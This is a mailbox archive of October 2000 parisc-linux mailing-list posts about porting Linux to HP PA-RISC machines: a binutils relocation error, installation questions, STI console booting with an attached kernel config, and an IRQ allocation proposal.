Cc: parisc-linux@thepuffingroup.com
To: Randolph Chung <randolph@tausq.org>
Original-X-From: alan@linuxcare.com.au  Wed Oct 18 02:00:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA09974
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 02:00:15 -0600
Original-Received: (qmail 21150 invoked by uid 15267); 18 Oct 2000 08:01:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21104 invoked from network); 18 Oct 2000 08:01:33 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 08:01:33 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA14720;
	Wed, 18 Oct 2000 19:01:16 +1100
In-Reply-To: <20001018000230.D568@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:8149

On Wed, 18 Oct 2000, Randolph Chung wrote:

> > After fixing a zillion bugs of the "friend foo" -> "friend class foo" type 
> > and assorted protected/private/public issues, I finally managed to have apt
> > compile.  Same error as you found.  It's not a linker bug as it's not a 
> > case of the linker dropping some section; the undefined symbol really
> > isn't defined anywhere.  I don't know enough C++ to debug the problem
> > further.
> 
> Alan, for my curiosity, could you explain this particular line from g++'s 
> output (from dhd's message)?
> 
> ../build/obj/cmdline/apt-get.o(.gnu.linkonce.t.__tf10LogCleaner+0x1c):
> cannot handle R_PARISC_PCREL17F for pkgArchiveCleaner type_info function
> 
> that seems to be causing the "undefined" symbol messages.

That message actually comes from the linker in response to an error during
final link.  See bfd/elf32-hppa.c:elf32_hppa_relocate_section.  It's
saying a particular relocation couldn't be relocated for some reason.  In
this case, the undefined symbol is the cause of the message (not the other
way around), and since the linker already reported the undefined symbol
it's rather redundant.  I should probably not report "cannot handle.." for
undefined symbols.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "P. Veenema" <p.veenema@minocw.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux on a HP9000 E25
Date: Wed, 18 Oct 2000 12:36:57 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <s9ed997b.083@OCWNW08>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619192 4790 80.91.229.3 (22 Nov 2014 01:19:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:52 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: <grundler@cup.hp.com>
Original-X-From: p.veenema@minocw.nl  Wed Oct 18 04:39:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA12889
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 04:39:01 -0600
Original-Received: (qmail 14537 invoked by uid 15267); 18 Oct 2000 10:40:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14514 invoked from network); 18 Oct 2000 10:40:20 -0000
Original-Received: from mowis005.minocw.nl (192.87.142.5)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 10:40:20 -0000
Original-Received: from localhost (localhost [[UNIX: localhost]])
	by MOWIS005.MinOCW.nl (8.9.0/8.9.0) with SMTP id MAA04246
	for <parisc-linux@thepuffingroup.com>; Wed, 18 Oct 2000 12:26:53 +0200 (MET DST)
Original-Received: by MOWMX001.minocw.nl; id MAA28801; Wed, 18 Oct 2000 12:39:24 +0200 (MET/DST)
Comments: ============================================================
    =      Aan de inhoud van dit bericht en bijgevoegde        =
    =      documenten kunnen geen rechten worden ontleend.     =
    ============================================================
Original-Received: from OCW-Message_Server by OCWNW08
	with Novell_GroupWise; Wed, 18 Oct 2000 12:37:15 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id EAA12889
Xref: news.gmane.org gmane.linux.ports.parisc:8150

Hi There,

I have recently aquired an old HP9000 E25 system with HP-UX 10.20 installed, i don't have a license for HPUX so i want to install Linux on the machine, my question is; Where can i get the HP9000 (PA-RISC) linux version, and how to install it. My machine has a CDROM drive, and boots from it, so a bootable CD image would be very appreciated.

Thanx

Paul


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: problems with binutils and/or g++
Date: 18 Oct 2000 10:34:12 -0400
Organization: Linuxcare, Inc.
Lines: 27
Approved: news@gmane.org
Message-ID: <87itqq2p7f.fsf@linuxcare.com>
References: <87r95f2ogl.fsf@linuxcare.com>
	<Pine.LNX.4.21.0010181628240.1579-100000@front.linuxcare.com.au>
	<20001018000230.D568@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619192 4792 80.91.229.3 (22 Nov 2014 01:19:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:52 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com
To: Randolph Chung <randolph@tausq.org>
Original-X-From: dhd@linuxcare.com  Wed Oct 18 08:33:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA14292
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 08:33:09 -0600
Original-Received: (qmail 18813 invoked by uid 15267); 18 Oct 2000 14:34:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18360 invoked from network); 18 Oct 2000 14:34:04 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 14:34:04 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13luIG-0000Tc-00; Wed, 18 Oct 2000 10:34:12 -0400
In-Reply-To: Randolph Chung's message of "Wed, 18 Oct 2000 00:02:30 -0700"
Original-Lines: 26
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8151

Randolph Chung <randolph@tausq.org> writes:

> Alan, for my curiosity, could you explain this particular line from g++'s 
> output (from dhd's message)?
> 
> ../build/obj/cmdline/apt-get.o(.gnu.linkonce.t.__tf10LogCleaner+0x1c):
> cannot handle R_PARISC_PCREL17F for pkgArchiveCleaner type_info function
> 
> that seems to be causing the "undefined" symbol messages.

No, it's caused *by* the undefined symbol.  If a symbol is undefined,
it won't have a stub hash entry.  If it doesn't have a stub hash entry
and it is either in a shared library or out of branch range, then
relocations to it can't be handled.  Thus the error message.

The case where a symbol is defined, and yet is unreachable, results in
a different warning (should be an error, but for some reason it seemed
to be non-fatal last time I encountered it) message which tells you to
recompile with -ffunction-sections.

We might want to get rid of the 'cannot handle R_PARISC_FOO' messages
in the undefined symbol case, as they are evidently misleading.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting on 712/60
Date: 18 Oct 2000 10:41:42 -0400
Organization: Linuxcare, Inc.
Lines: 23
Approved: news@gmane.org
Message-ID: <87aec22oux.fsf@linuxcare.com>
References: <39ED4B3B.85348ED2@videotron.ca> <00101809303400.18775@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619192 4794 80.91.229.3 (22 Nov 2014 01:19:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:52 +0000 (UTC)
Cc: James Waterhouse <james.waterhouse@videotron.ca>,
        "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: dhd@linuxcare.com  Wed Oct 18 08:41:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA14825
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 08:41:39 -0600
Original-Received: (qmail 28086 invoked by uid 15267); 18 Oct 2000 14:42:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27186 invoked from network); 18 Oct 2000 14:41:28 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 14:41:28 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13luPW-0000Tk-00; Wed, 18 Oct 2000 10:41:42 -0400
In-Reply-To: Helge Deller's message of "Wed, 18 Oct 2000 09:30:34 +0200"
Original-Lines: 22
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8152

Helge Deller <deller@gmx.de> writes:

> I'm seeing the same here. The kernel switches independend of your 
> kernel-settings (STI-Console - no STI-Console) to serial-console and just 
> puts some of it's error-messages to the STI-console. 
> If you don't have a nullmodem cable, you could try to ping/telnet your 
> parisc, to see if it's still alive.
> I currently don't know which change in CVS disallowed us to use just 
> STI-Console, but will try to figure out later today. 

Very strange, because it worked for me.  But perhaps I had a magical
combination of .config settings that eludes others.

Of course sticon and the keyboard driver are so broken that I have a
hard time imagining that anyone is actually using them for serious
work, so I don't feel a great urgency here.

I will look into it now if it's not already fixed.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting on 712/60
Date: 18 Oct 2000 11:17:51 -0400
Organization: Linuxcare, Inc.
Lines: 403
Approved: news@gmane.org
Message-ID: <874s2a2n6o.fsf@linuxcare.com>
References: <39ED4B3B.85348ED2@videotron.ca> <00101809303400.18775@P100>
	<87aec22oux.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Trace: ger.gmane.org 1416619192 4799 80.91.229.3 (22 Nov 2014 01:19:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:52 +0000 (UTC)
Cc: James Waterhouse <james.waterhouse@videotron.ca>,
        "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: dhd@linuxcare.com  Wed Oct 18 09:17:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA15451
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 09:17:07 -0600
Original-Received: (qmail 31123 invoked by uid 15267); 18 Oct 2000 15:18:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30546 invoked from network); 18 Oct 2000 15:17:39 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 15:17:39 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13luya-0000Vi-00; Wed, 18 Oct 2000 11:17:56 -0400
In-Reply-To: David Huggins-Daines's message of "18 Oct 2000 10:41:42 -0400"
Original-Lines: 24
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8153

--=-=-=

David Huggins-Daines <dhd@linuxcare.com> writes:

> Helge Deller <deller@gmx.de> writes:
> 
> > I'm seeing the same here. The kernel switches independend of your 
> > kernel-settings (STI-Console - no STI-Console) to serial-console and just 
> > puts some of it's error-messages to the STI-console. 
> > If you don't have a nullmodem cable, you could try to ping/telnet your 
> > parisc, to see if it's still alive.
> > I currently don't know which change in CVS disallowed us to use just 
> > STI-Console, but will try to figure out later today. 
> 
> Very strange, because it worked for me.  But perhaps I had a magical
> combination of .config settings that eludes others.

Well, I can't reproduce this on my 712/80 with either sticon or stifb.
I've attached my .config for sticon.


--=-=-=
Content-Disposition: attachment; filename=config-sti-not-borken
Content-Description: config

#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# General options
#
# CONFIG_SMP is not set
# CONFIG_KWDB is not set
CONFIG_GSC=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
# CONFIG_PCI_LBA is not set

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# General setup
#
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_BINFMT_SOM=y
CONFIG_BINFMT_ELF=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_BINFMT_JAVA is not set

#
# Parallel port support
#
# CONFIG_PARPORT is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=y
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_LVM is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
CONFIG_UNIX=y
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_IP_ROUTER is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_ALIAS is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
CONFIG_SCSI=y

#
# SCSI support type (disk, tape, CDrom)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set

#
# SCSI low-level drivers
#
CONFIG_SCSI_LASI=y
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set

#
# Network device support
#
CONFIG_NETDEVICES=y
CONFIG_LASI_82596=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_SB1000 is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_AC3200 is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
# CONFIG_DE4X5 is not set
CONFIG_TULIP=y
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_LNE390 is not set
# CONFIG_NE3210 is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_RTL8129 is not set
# CONFIG_8139TOO is not set
# CONFIG_SIS900 is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_ES3210 is not set
# CONFIG_EPIC100 is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_YELLOWFIN is not set
# CONFIG_ACENIC is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HIL=y
CONFIG_SERIAL=y
# CONFIG_SERIAL_CONSOLE is not set
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_JOYSTICK is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
# CONFIG_GENRTC is not set
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set

#
# Video For Linux
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_SYSV_FS_WRITE is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
CONFIG_ROOT_NFS=y
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_MOUNT_SUBDIR is not set
# CONFIG_NCPFS_NDS_DOMAINS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_NLS is not set

#
# Sound Drivers
#
# CONFIG_SOUND is not set

#
# Console drivers
#

#
# Frame-buffer support
#
# CONFIG_FB is not set
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

--=-=-=


-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.

--=-=-=--


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP C110
Date: Wed, 18 Oct 2000 16:36:04 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20001018163604.A13343@parcelfarce.linux.theplanet.co.uk>
References: <17833349.971811148484.JavaMail.cpadmin@viper>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619193 4807 80.91.229.3 (22 Nov 2014 01:19:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: raunaq sushil pungaliya <rsp3@uakron.edu>
Original-X-From: willy@www.linux.org.uk  Wed Oct 18 09:35:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA16022
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 09:35:25 -0600
Original-Received: (qmail 18746 invoked by uid 15267); 18 Oct 2000 15:36:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18295 invoked from network); 18 Oct 2000 15:36:14 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 15:36:14 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13lvG8-0003Ws-00; Wed, 18 Oct 2000 16:36:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <17833349.971811148484.JavaMail.cpadmin@viper>; from rsp3@uakron.edu on Tue, Oct 17, 2000 at 03:32:28PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8154

On Tue, Oct 17, 2000 at 03:32:28PM -0400, raunaq sushil pungaliya wrote:
> Hi
> I have an HP C110 (120Mhz, 256MB, 2.0 GB) I bought off the Internet. It 
> does not have an OS on it. Can I install linux on it? If yes, where do 
> I download the port? Thanks. 

should work on a C110.  get the installation image from
ftp://puffin.external.hp.com/pub/parisc/


-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /proc/interrupts
Date: Wed, 18 Oct 2000 09:36:31 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <200010181636.JAA14184@milano.cup.hp.com>
References: <00101803412200.00279@P100>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619194 4812 80.91.229.3 (22 Nov 2014 01:19:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Helge Deller <deller@gmx.de>
Original-X-From: grundler@cup.hp.com  Wed Oct 18 10:30:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA16977
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 10:30:57 -0600
Original-Received: (qmail 11833 invoked by uid 15267); 18 Oct 2000 16:32:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11658 invoked from network); 18 Oct 2000 16:32:08 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 16:32:08 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id D562A843; Wed, 18 Oct 2000 09:32:03 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA14184;
	Wed, 18 Oct 2000 09:36:33 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 18 Oct 2000 03:41:22 PDT."
             <00101803412200.00279@P100> 
Xref: news.gmane.org gmane.linux.ports.parisc:8156

Hi Helge!

Helge Deller wrote:
...
> 1. The until now used virtual IRQ's gets new numbers and increments in every 
> region by 32 for parisc32 and 64 for parisc64. The old IRQ regions 
> incremented by 256.

prumpf did something like this too.
It's better - but IMHO not "optimal".

I've been thinking about an "optimal" solution but haven't had a chance
to try it out. Here's my proposal:
o "invent" (yeah...I heard you, Carly! :^) a global "action" table.
o All IRQ allocation will get an "action" entry from the global table.
o And each IRQ region is a table of "action" pointers.
o "busy" IRQ region entries point to entries in the global "action" table.

"action" is a IRQ handler + arguments stuffed in a data structure.

Here are some examples of why I think this is "optimal":
o Older Workstations typically only need 10-20 "action" entries in
  2-4 IRQ regions.
o A500/C3000/J5000/L2000 might need about the same number of "action"
  entries but spread over 8 IRQ regions (4 CPU + 4 I/O Sapic).
o N-4000 might use over 60 entries in 22 IRQ regions!
  (12*4+8+5) That's 12 PCI Slots, 8 CPUs, and 5 built-in PCI devices
  spread over 8 CPU + 14 I/O Sapic.
o I don't know the limits of Superdome which was just announced.
  I've been asked about running linux on Superdome and my reply is
  first get it running on N-class (which isn't currently "in-plan"
  officially).

(Note: Even though today we only allocate one IRQ region for all CPUs,
in the future I'd like to see each CPU get it's own region.)

> 2. since we now shift by values of 5 (parisc32) or 6 (parisc64) bits, the 
> time needed to calculate the offsets may have changed. This needs to be 
> inspected.

I don't think this will be an issue.
I doubt a shift op takes longer (as measured in cycles) to shift more/less.


> 3. the new algorithm needs less memory than before.

yup - hypothetically by 4x or 8x. That's a good thing.

> By default I left the current behaviour in CVS, but you may activate the new 
> algorithm by changing the "#if 0" to "#if 1" in asm-parsic/irq.h and tell me 
> what you think.

That's cool...I'll enable it here for testing.
Remember - no news is good news :^)

thanks!
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
